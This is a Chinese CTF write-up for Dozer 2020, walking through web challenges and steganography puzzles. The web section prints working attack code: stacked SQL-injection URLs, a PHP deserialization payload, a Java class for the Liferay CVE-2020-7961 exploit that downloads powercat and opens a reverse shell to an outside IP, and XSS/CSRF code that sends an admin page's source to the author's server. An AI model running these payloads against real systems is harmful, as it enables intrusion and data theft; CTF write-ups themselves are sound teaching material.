0%

Dozer 2020 CTF部分Write up

WEB

sqli-labs 0

  • 一开始也不知道咋做后面看了Hint提示url二次编码。发现单引号是url二次编码绕过。

20200614220108

  • 但是一些关键字如select、union等被过滤了。尝试内联注释、注释、<>等绕过方法无果。后尝试堆叠注入发现成功。
http://118.31.11.216:30501/?id=1%2527;show%20tables;--+

20200614220443

  • 想起了令人深刻的强网杯随便注。老套路查字段。
http://118.31.11.216:30501/?id=1%2527;show%20columns%20from%20uziuzi;--+

20200614220846

  • 预处理查询数据库内容,这里卡了一会,直接拼接字符串没法执行,所以把字符串转16进制再执行,还有prepare、set这里做了过滤和强网杯一样,利用大小写不敏感直接绕过,直接得到flag.
http://118.31.11.216:30501/?id=0%2527%20;set%20@sql%20=0x73656c6563742a66726f6d60757a69757a6960;Prepare%20stmt%20from%20@sql;EXECUTE%20stmt;--+

20200614221253

白给的反序列化

  • 一开始没看题,一直去读/flag导致卡了一下,没啥绕过的,主要要改写一下payload,由于使用private,会导致生成的payload有<0x00>所以需要绕过一下,而且服务器的php版本是php5.59,没法直接改成public绕过,所以需要吧s改成S(这样能识别16进制的%00),把<0x00>替换为\00.
http://118.31.11.216:30600/?path=O:4:%22home%22:2:{S:12:%22\00home\00method%22;s:5:%22mysys%22;S:10:%22\00home\00args%22;a:1:{i:0;s:8:%22flag.php%22;}}
  • EXP
 <?php

class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

}

$o = new home("mysys",['flag.php']);
echo serialize($o);
?>

20200614222456

简单域渗透-flag1

  • 这道题抢了2血,看到界面就知道了是最近的CVE-2020-7961 Liferay Portal

  • 先搞个EXP,用powershell反弹一个shell到服务器:

public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 39.107.126.173 -p 25565 -e cmd"};

java.lang.Runtime.getRuntime().
exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
  • 编译成class放服务器上。
javac .\LifExp.java
  • 用marshalsec生成payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://39.107.126.173/ LifExp

微信截图_20200614224615

  • 发送数据包

0200614225038

  • 反弹shell后,flag在桌面的flag.txt

fake phpminiadmin

  • 这道题拿了3血。题目提示是一个前端漏洞,前端漏洞也就csrf、xss了。nc监听,给网站交一个我们的链接看看:

微信截图_20200614230021

  • 看到admin_shark.php,不用想了肯定flag就在这个页面了,我们要做的就是把这个页面的源码窃取到。在线上打开这个也印证了这点:

微信截图_20200614230157

  • 这里是一个类似phpmyadmin的东西,查询时候能直接打印出字符串,这样我们就能够构造一个xss去窃取admin_shark.php 页面源码,但是sql.php 需要POST提交无法直接提交这个链接给后台管理员,所以需要构造一个自动提交的表单来csrf触发这个xss.思路很简单了。画个图说明一下:

微信截图_20200614230931

  • 这里插入xss到数据库需要注意做了简单的过滤,只需将payload转16进制再unhex 转回来就行了,不过这我是搭了一血的车,我直接把他的xss地址换成我的了:

微信图片_20200614231135

  • 构造自动查询表单来触发csrf,exp.html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form name="exp" action="http://127.0.0.1/sql.php" method="POST">
      <input type="hidden" name="sql" value="select * from p1g3" />

    </form>
<script type="text/javascript">
document.exp.submit()
</script>
  </body>
</html>
  • 构造获取页面源码的xss
function createXmlHttp() {
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest()
    } else {
        var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
        for (var n = 0; n < MSXML.length; n++) {
            try {
                xmlHttp = new ActiveXObject(MSXML[n]);
                break
            } catch(e) {}
        }
    }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
  if (xmlHttp.readyState == 4) {
        code=escape(xmlHttp.responseText);
        createXmlHttp();
        url = "http://39.107.126.173:8080/re.php";   //这里是我们服务器接受的地址
        cc = "htmlcode=" + code +"&filename=index.html";
        xmlHttp.open("POST", url, true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send(cc)
  }
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
xmlHttp.send(null);
  • 接收页面源码的exp:
<?php
        function js_unescape($str) {
                $ret = '';
                $len = strlen($str);
                for ($i = 0;$i < $len;$i++) {
                        if ($str[$i] == '%' && $str[$i + 1] == 'u') {
                                $val = hexdec(substr($str, $i + 2, 4));
                                if ($val < 0x7f) $ret.= chr($val);
                                else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f));
                                else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f));
                                $i+= 5;
                        } else if ($str[$i] == '%') {
                                $ret.= urldecode(substr($str, $i, 3));
                                $i+= 2;
                        } else $ret.= $str[$i];
                }
                return $ret;
        }
        $data = js_unescape($_POST['htmlcode']);  //对获得源码js_unescape解码。
        $filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html";
        $myfile = fopen($filename, "w");
        fwrite($myfile, $data);
        fclose($myfile);
?>
  • 这样我们在提交url给后台时候就会自动跳转的sql.php触发xss窃取admin_shark.php的源码,源码会保存在我们的服务器中。
    微信截图_20200614231648

微信图片_20200614231558

MISC

py吗?

  • 一张老外穿着python文化衫的图片。

py

  • 修一下高度让他恢复正常的crc32校验以便其他软件能够打开:

微信截图_20200614231934

  • 国际惯例:Stegsolve->Analyse->Data Extract

微信截图_20200614232301

  • 发现base64,解码得到flag.
Dozerctf{python_is_the_best_language!}

夏日计划

  • 下载下来按照国际惯例010打开,发现是一个RAR压缩文件

QQ图片20200614232519

  • 直接解压会发现少几个文件,所以直接从里面拉出来就行了

QQ图片20200614232702

  • 会发现secret.rar是损坏的,所以直接用winrar修复会发现里面有四个文件,里面的内容全是两两相对,非常像坐标。

微信截图_20200614232958

微信截图_20200614233025

  • 而且,这些坐标正好是一个X长度为140,Y的长度为140的平面直角坐标系,一个正方形不用猜都能想到是一个二维之类的的东西了,于是乎kail linux启动用 gnuplot把四个文件合成一个qt.txt,生成一个二维试试看
root@kali:~/桌面# gnuplot

        G N U P L O T
        Version 5.2 patchlevel 8    last modified 2019-12-01 

        Copyright (C) 1986-1993, 1998, 2004, 2007-2019
        Thomas Williams, Colin Kelley and many others

        gnuplot home:     http://www.gnuplot.info
        faq, bugs, etc:   type "help FAQ"
        immediate help:   type "help"  (plot window: hit 'h')

Terminal type is now 'qt'
gnuplot> plot "qt.txt"
qt5ct: using qt5ct plugin
gnuplot> 

微信截图_20200614233644

  • 刚刚在网鼎杯被虐完,怎么可能不知道这是一个汉信码。photoshop,去色,反相,拉曲线,作为一名CTF患者怎么可能不会PS?,于是得到一张汉信码。

HXcode

  • 这里一定要吐槽一下,全网识别这个东西的网站就一个。。。今天它还蹦了,汉信码官网识别不了汉码官网生成的汉信码。我裂开了,最后找出题的师傅提供了解题过程,解决了。。。。万分感谢。

微信截图_20200614234121

问卷调查

  • 填问卷